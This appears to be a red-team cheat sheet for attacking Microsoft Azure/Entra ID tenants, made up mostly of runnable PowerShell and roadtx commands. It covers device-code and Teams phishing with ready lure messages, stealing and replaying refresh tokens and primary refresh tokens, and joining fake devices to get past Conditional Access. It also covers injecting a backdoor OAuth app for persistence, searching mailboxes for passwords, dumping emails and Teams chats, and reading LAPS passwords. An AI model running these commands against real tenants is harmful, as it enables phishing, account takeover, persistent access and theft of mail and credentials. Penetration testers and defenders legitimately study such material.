Azure - Token Abuse, Devices and the Graph

ROAD Resources:

GraphRunner Resources

Good Writeups from TrustedSec Acquriing and Using Tokens / PRT / DeviceJoin

PRT Resources:

Token Tools:

Device Code Phishing Resources:

Device Code Phishing Tools:

Continuous Access Evaluation

CAE can help in invalidating access tokens before their expiry time (default 1 hour).

  • Useful in cases like

  • User termination or password change enforced in near real time

  • Blocks use of access token outside trusted locations when location based conditional access is present

  • In CAE sessions, the access token lifetime is increased up to 28 hours.

  • CAE needs the client (Browser/App/CLI) to be CAE-capable –the client must understand that the token has not expired but cannot be used.

  • Outlook, Teams, Office (other than web) and OneDrive web apps and apps support CAE.

  • “The xms_ccclaim with a value of “CP1” in the access token is the authoritative way to identify a client application is capable of handling a claims challenge.”

  • In case the client is not CAE-capable, a normal access token with 1 hour expiry is issued.

  • We can find xms_ccclaim in MSGraph token for user was requested using Az PowerShell.

  • Access tokens issued for managed identities by Azure IMDS are not CAE-enabled.

CAE works in two scenarios:
  • Critical event evaluation:

  • User account is deleted or disabled

  • Password change or reset for a user

  • MFA enabled for a user

  • Refresh token is revoked

  • High user risk detected by Azure AD identity Protection (not supported by Sharepointonline)

  • Only Exchange Online, Sharepointonline and Teams are supported.

  • Conditional Access policy evaluation:

  • Only IP-based (both IPv4 and IPv6) named locations are supported. Other location conditions like MFA trusted IPs or country-based locations are not supported.

  • Exchange Online, SharePoint online, Teams and MS Graph are supported.


Working with Tokens

Az, AzureAD, az cli

AAD Graph Tokens:

  • AadGraph
  • AnalysisServices
  • Arm
  • Attestation
  • Batch
  • DataLake
  • KeyVault
  • MSGraph
  • OperationalInsights
  • ResourceManager
  • Storage
  • Synapse

Locations of tokens on disk (Not always for newer versions):

  • C:\Users[username].Azure
  • TokenCache.dat
  • AzureRmContext.json
  • accesstokens.json
Connecting With Tokens

Each tool has it’s own quirks for using access tokens.

# Starting from Az and setting Variables from AzContext
$currentContext = Get-AzContext
$tenantId = $currentContext.Tenant.TenantId
$subscriptionId = $currentContext.Subscription.SubscriptionId

# Generate Token
Get-AzAccessToken
(Get-AzAccessToken).Token

# Request for a Different service
Get-AzAccessToken -ResourceTypeName MSGraph
$graphtok = (Get-AzAccessToken -Resource "https://graph.microsoft.com").Token

# Az - Connect with Token
Connect-AzAccount -AccountId $email -AccessToken $access_token

# Az -  Token Set - In the below command, use the one for MSGraph (access token is still required) for accessing Azure AD
Connect-AzAccount -AccountId $email -AccessToken $access_token -MicrosoftGraphAccessToken $graphtok

# AzureAD - Requires Tenant,  module cannot request a token but can use
Connect-AzureAD -AccountId $email -AadAccessToken $AADAccessToken  -tenant $tenantId

# az cli can generate them but has trouble using them directly.
az account get-access-token

# get one for graph
az account get-access-token --resource-type ms-graph

# Save Tokens / Search for this in Powershell History!
Save-AzContext

# Clear tokens, always!
Disconnect-AzAccount

# for AzureAD
Disconnect-AzureAd

# clear tokens, always!
az logout
Using the APIs

Use App Secret to Acquire an AccessToken for Graph

$tenantId = "your-tenant-id-here"
$appId = "your-app-registration-application-id-here"
$appSecret = "your-app-secret-here"
$scope = "https://graph.microsoft.com/.default"

$tokenRequestBody = @{
    grant_type    = "client_credentials"
    client_id     = $appId
    client_secret = $appSecret
    scope         = $scope
}

$tokenResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method Post -Body $tokenRequestBody
$accessToken = $tokenResponse.access_token

Use AccessToken with the ARM API to list all subscriptions:

$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'

$RequestParams=@{
  Method ='GET'
  Uri =$URI
  Headers =@{
    'Authorization'="Bearer $Token"
  }
}
(Invoke-RestMethod @RequestParams).value

List all users using the MSGraph:

$URI='https://graph.microsoft.com/v1.0/users'

$RequestParams=@{
  Method ='GET'
  Uri =$URI
  Headers =@{
  'Authorization'="Bearer $Token"
  }
}
(Invoke-RestMethod @RequestParams).value

TokenTools - Refresh Cheatsheet

ROADrecon
Invoke-RefreshToGraphToken
$GraphToken.access_token
roadrecon auth --access-token $GraphToken.access_token
roadrecon gather
GraphRunner
Invoke-RefreshToMSGraphToken
$MSGraphToken.access_token
$MSGraphToken.refresh_token
Invoke-ImportTokens -AccessToken $MSGraphToken.access_token -RefreshToken $MSGraphToken.refresh_token
AzureHound
Invoke-RefreshToMSGraphToken
$MSGraphToken.refresh_token
./azurehound -r $MSGraphToken.refresh_token list --tenant $tenantId -o output.json
TokenTacticsV2 - Get refresh token from ESTSAuth cookies
Import-Module .\TokenTacticsV2\TokenTactics.psd1
Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8.."
Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.."

GraphSpy

Access/Refresh Token Database and Post-Exploitation tool

GraphSpy - Installation
# Install pipx (skip this if you already have it)
python -m pip install pipx
python -m pipx ensurepath

# Install the latest version of GraphSpy from Github (requires git)
python -m pipx install git+https://github.com/RedByte1337/GraphSpy

# OR
# Install the latest version of GraphSpy from pypi
python -m pipx install graphspy
GraphSpy - Execution
# Run GraphSpy on http://192.168.0.10
graphspy -i 192.168.0.10 -p 80
# Run GraphSpy on port 8080 on all interfaces
graphspy -i 0.0.0.0 -p 8080

GraphRunner

GraphRunner - Install, Import and Authenticate
git clone https://github.com/dafthack/GraphRunner
cd .\GraphRunner

Import-Module .\GraphRunner.ps1
Get-GraphTokens
GraphRUnner - Re-Use and Juggle Tokens From TokenTactics to AADInternals and Import for GraphRunner
# Import TokenTactics, AADInternals, GraphRunner
git clone https://github.com/mellosec/phirstphish
Import-Module .\phirstphish\Modules\GraphRunner.ps1
Import-Module AADInternals -Force
Import-Module .\phirstphish\tokentactics\tokentactics.psm1 -Force

# Previously, you exported the $response to a JSON file, and now you want to use the access days/weeks later
# $response | ConvertTo-Json -Depth 5 | Out-File -FilePath token.json
$onDiskTokens = Get-Content -Path ".\token.json" -Raw | ConvertFrom-Json
$response = $onDiskTokens
$accessToken = $response.access_token
$refreshToken = $response.refresh_token
Add-AADIntAccessTokenToCache -AccessToken $accessToken -RefreshToken $refreshToken
$acc = Read-AADIntAccessToken $accessToken
$user = $acc.upn
$domain = $user.Split("@")[1]
$username = $user.Split("@")[0]
$tokz = Invoke-RefreshToMSGraphToken -domain $domain -refreshToken $refreshToken -Device iPhone -Browser Safari
function New-TokensObject {
    param(
        [Parameter(Mandatory=$true)]
        [string]$AccessToken,
        
        [Parameter(Mandatory=$true)]
        [string]$RefreshToken
    )

    $tokens = New-Object PSObject -Property @{
        access_token = $AccessToken
        refresh_token = $RefreshToken
    }

    return $tokens
}
if ($tokz) {    
	$tokens = New-TokensObject -AccessToken $tokz.access_token -RefreshToken $tokz.refresh_token    
	Write-Host "Access Token from tokens object: $($tokens.access_token)"    
	Write-Host "Refresh Token from tokens object: $($tokens.refresh_token)"
}
Invoke-ImportTokens -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token
GraphRunner - AADInternals / TokenTactics / PowerShell - Import Tokens Use across Tools, Invoke-GraphRecon, GraphRunner, CAPSDump, Inject OAuth App, loot, enumerate, etc…
# Import Modules
git clone https://github.com/mellosec/phirstphish
cd phirstphish

Import-Module .\Modules\GraphRunner.ps1
Import-Module AADInternals -Force
Import-Module .\tokentactics\tokentactics.psm1 -Force

function New-TokensObject {
    param(
        [Parameter(Mandatory=$true)]
        [string]$AccessToken,
        
        [Parameter(Mandatory=$true)]
        [string]$RefreshToken
    )

    $tokens = New-Object PSObject -Property @{
        access_token = $AccessToken
        refresh_token = $RefreshToken
    }

    return $tokens
}

# TokenTactics/AADGraph -  Generates $response from Device code flow / device code phishing
Get-AzureToken -Client Graph 

# AADInternals/AADGraph - Read Token, store for AADInternals and create variables
$accessToken = $response.access_token
$refreshToken = $response.refresh_token
Add-AADIntAccessTokenToCache -AccessToken $accessToken -RefreshToken $refreshToken
$acc = Read-AADIntAccessToken $accessToken
$user = $acc.upn
$domain = $user.Split("@")[1]
$username = $user.Split("@")[0]

# RoadTX/TokenTormentor  - Use $response to Join a Device 
$response | ConvertTo-Json -Depth 5 | Out-File -FilePath token.json

# To Read them Back in from that file
$onDiskTokens = Get-Content -Path ".\token.json" -Raw | ConvertFrom-Json
# $response = $onDiskTokens

# pip install requests-toolbelt
python .\Scripts\TokenTormentor\TokenTormentor.py .\token.json
# Navigate Menu 1, 4 to Join Device 

# RoadTX - Use the .road authfile from the last step to get PRT for later
# Using auth file from roadtx / last step Request Token for Device Registration Service using cached auth
$MsAuthBroker = "29d9ed98-a469-4536-ade2-f981bc1d605e"
roadtx gettokens --refresh-token file -c $MsAuthBroker -r drs

# RoadTX - Join the Device
roadtx device -a join -n Innocent-Device #"desktop-$username"
# Now that we have a device identity we use the same refresh-token to obtain true PRT
roadtx prt --refresh-token file -c Innocent-Device.pem -k Innocent-Device.key

# TokenTactics/MSGraph - Refresh to MSGraph for GraphRunner
$tokz = Invoke-RefreshToMSGraphToken -domain $domain -refreshToken $refreshToken -Device iPhone -Browser Safari

# GraphRunner - Create TokenObject and Import for GraphRunner
if ($tokz) {
    $tokens = New-TokensObject -AccessToken $tokz.access_token -RefreshToken $tokz.refresh_token
    Write-Host "Access Token from tokens object: $($tokens.access_token)"
    Write-Host "Refresh Token from tokens object: $($tokens.refresh_token)"
}
Invoke-ImportTokens -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token

# GraphRunner - Enumerate User's permissions, Conditional Access policies and perform full GraphRunner recon/searching email/sharepoint/etc
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
Invoke-GraphRunner -Tokens $tokens

# GraphRunner - Get Groups user can Update, Dyanmic Groups and rules, Sharepoint URLs to look for easy privesc route
Get-UpdatableGroups -Tokens $tokens
Get-DynamicGroups -Tokens $tokens
Get-SharePointSiteURLs -Tokens $tokens

# GraphRunner - Update or Clone a Group, Invite a Guest
Invoke-AddGroupMember -Tokens $tokens -groupID e6a413c2-2aa4-4a80-9c16-88c1687f57d9 -userId 7a3d8bfe-e4c7-46c0-93ec-ef2b1c8a0b4a
Invoke-SecurityGroupCloner -Tokens $tokens
Invoke-InviteGuest -Tokens $tokens -DisplayName "Lord Voldemort" -EmailAddress "iamlordvoldemort@31337schoolofhackingandwizardry.com"

# GraphRunner - Inject OAuth App - For Persistence and consent grant phishing. Swap  "op backdoor" with "low" as needed
$AppName = Read-Host "AppName"
$ReplyUrl = Read-Host "ReplyUrl"
$low = "openid profile offline_access email User.Read User.ReadBasic.All Mail.Read"
$Scope = "op backdoor"
Invoke-InjectOAuthApp -AppName $AppName -ReplyUrl $ReplyUrl -scope $Scope -Tokens $tokens *> .\PersistenceApp.json 

# GraphRunner - Consent to Application - Using output from previous command, consent to app and complete authentication flow
$low = "openid profile offline_access email User.Read User.ReadBasic.All Mail.Read"
$opbackdoor = "op backdoor"
$Scope = "$opbackdoor"
$ClientId = Read-Host "ClientId"
$ClientSecret = Read-Host "ClientSecret"
$RedirectUri = $ReplyUrl
Invoke-AutoOAuthFlow -ClientId $ClientID -ClientSecret "$ClientSecret" -RedirectUri $RedirectUri -scope $Scope

# GraphRunner - Search specific services for specific values
Invoke-SearchMailbox -Tokens $tokens -SearchTerm "password" 
Invoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm 'password AND filetype:xlsx'

# GraphRunner - Search for secrets in storage using detectors file from snaffler
$folderName = "SharePointSearch-" + (Get-Date -Format 'yyyyMMddHHmmss')
New-Item -Path $folderName -ItemType Directory | Out-Null
$spout = "$folderName\interesting-files.csv"
$DetectorFile = ".\default_detectors.json"
$detectors = Get-Content $DetectorFile
$detector = $detectors |ConvertFrom-Json
foreach($detect in $detector.Detectors){Invoke-SearchSharePointAndOneDrive  -Tokens $tokens -SearchTerm $detect.SearchQuery -DetectorName $detect.DetectorName -PageResults -ResultCount 500 -ReportOnly -OutFile $spout -GraphRun}

# GraphRunner - Dump All Emails and Teams messages
Get-Inbox -Tokens $tokens -userid deckard@tyrellcorporation.io -OutFile emails.csv
Get-TeamsChat -Tokens $tokens -OutFile teamschat.csv

# Pivot/AADGraph - Continue Manual Enumeration using access tokens and PowerShell Modules
$access = $response.access_token
$acc = Read-AADIntAccessToken $access
$user = $acc.upn
$domain = $user.Split("@")[1]
$tenantID = Get-TenantId -domain $domain
Write-Output "$user @ $domain in $tenantID"

# AzureAD - Use the token for AzureAD / AADGraph
Connect-AzureAD -TenantId "$tenantID"  -AadAccessToken $access -AccountId "$user"
Get-AzureADCurrentSessionInfo
Get-AzureADTenantDetail -All $true
Get-AzureADUser -SearchString $user.Split("@")[0] | Get-AzureADUserMembership
Get-AzureADUserMembership -ObjectId $user
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner # Get-AzureADDeviceRegisteredUser

# Az - Using both MSGraph and AADGraph 
$msgraph = Invoke-RefreshToMSGraph -refreshToken $token.refresh_token -domain $domain
Connect-AzAccount -AccountId $user -AccessToken $access -MicrosoftGraphAccessToken $msgraph.access_token -domain $domain
Get-AzResource
Get-AzContext -ListAvailable

# AADInternals - Internal Recon 
$tokenz = Invoke-RefreshToAzureCoreManagement -refreshToken $refreshToken -domain $domain
$access = $tokenz.access_token

# AzureHound - Download the correct AzureHound binary for the detected OS
$tok = $tokenz.refresh_token # $tok = $response.refresh_token
$osType = $env:OS
$binaryName = ""
$exePath = ""
if ($osType -eq "Windows_NT") {
    $os = "windows"
    Write-Output "Detected Windows OS."
    $binaryName = "azurehound-windows-amd64.zip"
    $exePath = ".\azurehound.exe"
} else {
    $os = "linux"
    Write-Output "Detected Linux OS."
    $binaryName = "azurehound-linux-amd64.zip"
    $exePath = "./azurehound"
}
$outputZipFile = $binaryName
$downloadUrl = "https://github.com/BloodHoundAD/AzureHound/releases/latest/download/$binaryName"
Invoke-WebRequest -Uri $downloadUrl -OutFile $outputZipFile
Expand-Archive -LiteralPath $outputZipFile -DestinationPath . -Force
Remove-Item -Path $outputZipFile -Force
Write-Output "Running Azurehound."
& $exePath -r $tok list --tenant $domain -o azurehound.json
Write-Output "AzureHound command executed for $os."

# Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
$results = Invoke-AADIntReconAsInsider
Write-Outuput $results
$groups = Invoke-AADIntUserEnumerationAsInsider -Groups

# AADInternals - Internal Teams Phishing - Generates Device user code for {0}, retrieves user's access token, replaces message with clean message  
$message = 'Your Microsoft account has been compromised. Login at <a href="{1}">https://microsoft.com</a> to reset your password. <br> Use the following security code: <b>{0}</b>.'
$message = '<html>Hi!<br/>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>'
$cleanMessage = '<html>Hi!<br/>Have a nice weekend.</html>'
Invoke-AADPhishing -Recipients "wvictim@company.com","wvictim2@company.com" -Teams -Message $message -CleanMessage $cleanMessage -SaveToCache

Conditional Access Policies

AADInternals/Roadrecon - Bypass Conditonal Access Policy with compliance requirements

Deep Dive into Device Join

# enumerate policies if we don't have them from graphrunner
roadrecon plugin policies

# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64"
# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentials)
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache 
# Join the device to Intune
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
# Start the call back
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour"

ROADTools

Install ROADTools
pip install roadrecon
pip install roadlib
pip install roadtx
ROADRecon - Authentication Methods
roadrecon auth -u user@mytenant.onmicrosoft.com -p Passwordhere

roadrecon auth --device-code

roadrecon auth --access-token
roadrecon auth --refresh-token

roadrecon auth --prt-init # gives you the nonce
roadrecon auth --prt-cookie $NONCE # use the nonce
ROADRecon - Gather info, MFA details, export for Bloodhound and CAP Policies
# low priv
roadrecon gather

# Gather MFA details - Requires Global Reader / Sec Admin, may work in smaller tenants
roadrecon gather --mfa

# browse the data
roadrecon gui

# Export with the bloodhound plugin
roadrecon plugin bloodhound

# Parse Conditional Access Policies out to file and Print to screen
roadrecon plugin policies -f dcaps.html -p
RoadTX - Authenticate with User/Pass, Refresh Token or Device Code
$user =""
$pass = ""
$token = "$response.refresh_token"

roadtx gettokens -u user@iminyour.cloud -p mypassword -r aadgraph

roadtx gettokens --refresh-token $token -r msgraph

roadtx gettokens --device-auth -r devicereg
roadtx - Authentication with refresh tokens

When using a refresh token to authenticate, you should ensure that the client ID used to refresh the token is identical to the client the token was issued to, or the request will fail. An exception to this is when you are using a FOCI client, which support refreshing tokens with different client IDs to obtain different access scopes. A list of client IDs and their scopes can be found here. Example of authentication using one client and refreshing using a different client:

roadtx gettokens -u user@iminyour.cloud -p mypassword -c azcli

roadtx gettokens --refresh-token <token> -c msteams

In the above example you can also use the word file as argument to —refresh-token, which will make it read the refresh token from the .roadtools_auth file where the first command saved it.


Working with Devices

roadtx - Register Device

Registering a device can be done with an access token to the device registration service. You can obtain such a token via one of the methods implemented in roadtx, via the gettokens command, using the devicereg resource alias with -r devicereg. See authentication for details. Registering a device is done with the roadtx device command. This reads the access token from the .roadtools_auth file and submits the request with a randomized name. For customization options, see roadtx device -h.

TokenTormentor - Join Device using TorkenTormentor or roadtx directly
# TokenTactics/AADGraph -  Generates $response from Device code flow / device code phishing
# Import-Module AADInternals -Force
# pip install requests roadtx roadtools roadrecon
Get-AzureToken -Client Graph 

# AADInternals/AADGraph - Read Token, store for AADInternals and create variables
$accessToken = $response.access_token
$refreshToken = $response.refresh_token
Add-AADIntAccessTokenToCache -AccessToken $accessToken -RefreshToken $refreshToken
$acc = Read-AADIntAccessToken $accessToken
$user = $acc.upn
$domain = $user.Split("@")[1]
$username = $user.Split("@")[0]

# RoadTX/TokenTormentor  - Use $response to Join a Device 
$response | ConvertTo-Json -Depth 5 | Out-File -FilePath token.json
python .\Scripts\TokenTormentor\TokenTormentor.py .\token.json
# Navigate Menu 1, 4 to Join Device 

# If MFA Account use this, needs web popup
$user = ""
$MsAuthBroker = "29d9ed98-a469-4536-ade2-f981bc1d605e"
roadtx interactiveauth -u $user -c $MsAuthBroker -r https://enrollment.manage.microsoft.com/ -ru https://login.microsoft.com/applebroker/msauth

# If No MFA req, this
$MsAuthBroker = "29d9ed98-a469-4536-ade2-f981bc1d605e"
roadtx gettokens -u $user -c $MsAuthBroker -r https://enrollment.manage.microsoft.com/

# OR Use the .road authfile from the last step to get PRT for later
# Using auth file from Token Tormentor / roadtx / last step Request Token for Device Registration Service using cached auth
$MsAuthBroker = "29d9ed98-a469-4536-ade2-f981bc1d605e"
roadtx gettokens --refresh-token file -c $MsAuthBroker -r drs

# RoadTX - Join the Device
roadtx device -a join -n Innocent-Device #"desktop-$username"
# Now that we have a device identity we use the same refresh-token to obtain true PRT
roadtx prt --refresh-token file -c innocent-device.pem -k innocent-device.key
roadtx - Delete device with its cert
roadtx device -a delete -c innocent-device.pem -k innocent-device.key

PRT - Primary Refresh Tokens

The PRT cookie is actually called x-ms-RefreshTokenCredential and it’s a JSON Web Token (JWT). A JWT contains 3 parts, the header, payload and signature, divided by a . and all url-safe base64 encoded. A typical PRT cookie contains the following header and body:

{
  "alg": "HS256",
  "ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
  "refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
  "is_primary": "true",
  "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

The refresh_token contains the actual PRT. It is encrypted using a key which is managed by Azure AD, so we can’t see what’s in it or decrypt it. The is_primary indicates that this contains the primary refresh token. The request_nonce is passed from the logon.microsoftonline.com page to make sure the cookie can only be used for that login session.

https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/

AADInternals - PRT Harvesting Functions (If harvested and used together on an MDE machine XDR will likely block your account for risky behavior when you replay the token, was very cool and annoying)
# Get the PRTToken - uses BrowserCore.exe method, gets the Nonce as well
$prtToken = Get-AADIntUserPRTToken

# Use the PRTToken - Get an access token for AAD Graph API and save to cache, needs a new $prtToken if it's already been used since the Nonce is invalidated
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

# OR Get it from CloudAP
# Get user credentials
$creds = Get-Credential

# Get PRT and Session key from CloudAP cache
$prtKeys = Get-AADIntUserPRTKeys -CloudAP -Credentials $creds
AADInternals - PRT Generation Functions
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache

# Generate pfX to make PRT - Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My computer" -DeviceType "Commodore" -OSVersion "C64"

# Get user's credentials
$creds = Get-Credential

# Get certificate key
$prtKeys = Get-AADIntUserPRTKeys -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -Credentials $cred

# Generate a new PRT token
$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GetNonce

# Get the access token using the PRT token
$at = Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
AADInternals - Device Joining Functions
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache

# Register the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My Computer" -DeviceType "Commodore" -OSVersion "Vic20" -JoinType Register

# Or AADJoin
Join-AADIntDeviceToAzureAD -DeviceName "My Computer" -DeviceType "Commodore" -OSVersion "c64"

# Or Hybrid Join with Graph Token
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Get SID and Device pfx Cert - Join the "on-prem" device to Azure AD
Join-AADIntOnPremDeviceToAzureAD -DeviceName "Hybreedz"

# Use pfx to Hybrid Join the device to Azure AD
$SID = ""
$tenant= ""
Join-AADIntDeviceToAzureAD -TenantId $tenant -DeviceName "My computer" -SID $SID -PfxFileName .\f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx

# Intune Token - Get access token with device id claim
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx -SaveToCache

# Intune Enrollment - Enroll the device to Intune
Join-AADIntDeviceToIntune -DeviceName "My computer"

# Intune Callback - Start the Check in process
Start-AADIntDeviceIntuneCallback -pfxFileName .\f24f116f-6e80-425d-8236-09803da7dfbe-user.pfx
AADInternals - GET/SET Device Authentication Methods
# Get access token 
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Get the authentication methods used registering the device (if MFA was was used to register, if PRT holds MFA claims)
Get-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7"

# Set the authentication methods (Same as above)
Set-AADIntDeviceRegAuthMethods -DeviceId "d03994c9-24f8-41ba-a156-1805998d6dc7" -Methods pwd,rsa,mfa
roadtx - Use Device Code Refresh-Token to join Device / WHFB Flow
# Didnt work, had to sue the above Using DeviceCode response token
$MsAuthBroker = "29d9ed98-a469-4536-ade2-f981bc1d605e"
$rt = $response.refresh_token
Invoke-RefreshToGraphToken
$GraphToken.access_token
roadrecon auth --access-token $GraphToken.access_token

roadtx gettokens --refresh-token $rt -r drs
roadtx gettokens --refresh-token $rt -c $MsAuthBroker -r drs

# Join the Device
roadtx device -a join -n InnocentDevice

# Now that we have a device identity we use the same refresh-token to obtain true PRT
roadtx prt --refresh-token file -c InnocentDevice.pem -k InnocentDevice.key

# Resulting tokens contain the same claims as used during registration, MFA transfers to PRT

# PRT can be used in any authetnication flow to other apps
roadtx prtauth -c azcli -r azrm   

# PRT Can be used for Browser flows
$sesh = ""
roadtx browserprtauth --prt roadtx.prt --prt-sessionkey $sesh
roadtx browserprtauth --prt roadtx.prt -url http://www.office.com

# Script for doing this outside of ROADTools
https://github.com/kiwids0220/deviceCode2WinHello/tree/main
roadtx - Requesting PRTs

With a device identity and user credentials it is possible to request a Primary Refresh Token. There are currently 2 ways of requesting a PRT:

  • Via username + password
  • Via a refresh token specifically requested for this purpose (see Enriching a PRT below)
roadtx - Request a PRT for blog device using user/pass
roadtx prt -u $user@mytenant.com -p $pass --key-pem blogdevice.key --cert-pem blogdevice.pem
roadtx - Renew PRT - Good for 90 more days
roadtx prt -a renew
roadtx - Using PRT Auth

You can use PRTs in multiple ways with roadtx:

  • Use them directly similar to how Windows deals with PRTs with roadtx prtauth
  • Use them interactively with a Selenium based browser window with roadtx browserprtauth
  • Use them via in Chrome on Windows via a BrowserCore replacement
  • Use them in an emulated SSO flow with roadtx gettokens
usage: roadtx prtauth [-h] [-c CLIENT] [-r RESOURCE] [-ru URL] [-f FILE] [--prt PRT] [--prt-sessionkey PRT_SESSIONKEY] [--tokenfile TOKENFILE] [--tokens-stdout]

optional arguments:
  -h, --help            show this help message and exit
  -c CLIENT, --client CLIENT
                        Client ID to use when authenticating.
  -r RESOURCE, --resource RESOURCE
                        Resource to authenticate to. Either a full URL or alias (list with roadtx listaliases)
  -ru URL, --redirect-url URL
                        Custom redirect URL used when authenticating (default: ms-appx-web://Microsoft.AAD.BrokerPlugin/<clientid>)
  -f FILE, --prt-file FILE
                        PRT storage file (default: roadtx.prt)
  --prt PRT             Primary Refresh Token
  --prt-sessionkey PRT_SESSIONKEY
                        Primary Refresh Token session key (as hex key)
  --tokenfile TOKENFILE
                        File to store the credentials (default: .roadtools_auth)
  --tokens-stdout       Do not store tokens on disk, pipe to stdout instead
roadtx - User PRT from the browser to auth
roadtx browserprtauth --prt <prt-token> --prt-sessionkey <session-key>
roadtx browserprtauth --prt roadtx.prt -url http://www.office.com
roadtx - Request access/refresh tokens to Azure AD graph with Azure AD PowerShell client ID (default client and resource)
roadtx prtauth
roadtx - Use the Azure CLI client ID and request access to Azure Resource manager (the resulting refresh token can be used with AzureHound).
roadtx prtauth -c azcli -r azrm     
roadtx - Use the Microsoft Teams client ID, request tokens for Microsoft Graph
roadtx prtauth -c msteams -r msgraph
roadtx - Windows Hello for Business
roadtx.exe prtenrich --ngcmfa-drs-auth
roadtx.exe winhello -k swkdevicebackdoor.key
roadtx.exe prt -hk swkdevicebackdoor.key -u <user@domain.lab> -c swkdeviceup.pem -k swkdeviceup.key
roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com
roadtx - List all client IDs you can access that have the mail read right
roadtx getscope -s https://graph.microsoft.com/mail.read
roadtx findscope -s https://graph.microsoft.com/mail.read
roadtx - Enriching a PRT with MFA claim

A PRT that was requested with a username + password combination does not have an MFA claim, and will not give tokens with an MFA claim when used. You can enrich this PRT by performing MFA and requesting a special refresh token. The prtenrich module requests this special refresh token. You can use KeePass backed credentials to automate the MFA prompt.

roadtx prtenrich -u newlowpriv@iminyour.cloud

Got refresh token. Can be used to request prt with roadtx prt -r The resulting refresh token can be used with device credentials to request a PRT with MFA claim:

roadtx prt -r <refreshtoken> -c blogdevice.pem -k blogdevice.key
roadtx - Request PRT with a Hybrid Device Flow

Request a PRT with Hybrid Device

Requirements:

ADDS user credentials
hybrid environment (ADDS and Azure AD)
Use the user account to create a computer and request a PRT
  • Create a computer account in AD: impacket-addcomputer /: -dc-ip
  • Configure the computer certificate in AD with dirkjanm/roadtools_hybrid: python setcert.py 10.10.10.10 -t ‘<machine-account$>’ -u ’<machine-account$>’ -p
  • Register the hybrid device in Azure AD with this certificate: roadtx hybriddevice -c ’.pem’ -k ’.key’ —sid ’’ -t ’
roadtx - Get a PRT with device claim
roadtx prt -c <hybrid-device-name>.pem -k <hybrid-device-name>.key -u <username>@h<domain> -p <password>
roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url https://portal.azure.com
roadtx - Upgrade a Refresh Token to PRT

Upgrade Refresh Token to PRT

  • Get correct token audience: roadtx gettokens -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r urn:ms-drs:enterpriseregistration.windows.net —refresh-token file
  • Registering device: roadtx device -a register -n
  • Request PRT roadtx prt —refresh-token -c .pem -k .key
  • Use a PRT: roadtx browserprtauth —prt —prt-sessionkey —keep-open -url https://portal.azure.com
TokenTacticsV2 - Get refresh token from ESTSAuth cookies
Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8"
Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.."
roadtx - Selenium Interactive

This is the simplest mode, perform interactive authentication, optionally autofilling username specified with -u and password specified with -p. Any MFA will have to be satisfied by hand.

roadtx interactiveauth -u myuser@mytenant.com -p password

Intune Rights

If you get the Intune Admin role or some of the permissions, you’re able to execute commands, get LAPS passwords, bitlocker keys, etc.

Intune - AzureAD - List Devices
$username = "agordon@wildwildwest.com"
Connect-AzureAD
Get-AzureADDevice
$user = Get-AzureADUser -SearchString $username
Get-AzureADUserRegisteredDevice -ObjectId $user.ObjectId -All $true
Intune - LAPS/MgGraph -Read All LAPS Passwords you can access
#requires -modules Microsoft.Graph.Authentication
#requires -modules Microsoft.Graph.Intune
#requires -modules LAPS
#requires -modules ImportExcel

$DaysBack = 30
Connect-MgGraph
Get-IntuneManagedDevice -Filter "Platform eq 'Windows'" |
    Foreach-Object {Get-LapsAADPassword -DevicesIds $_.DisplayName} |
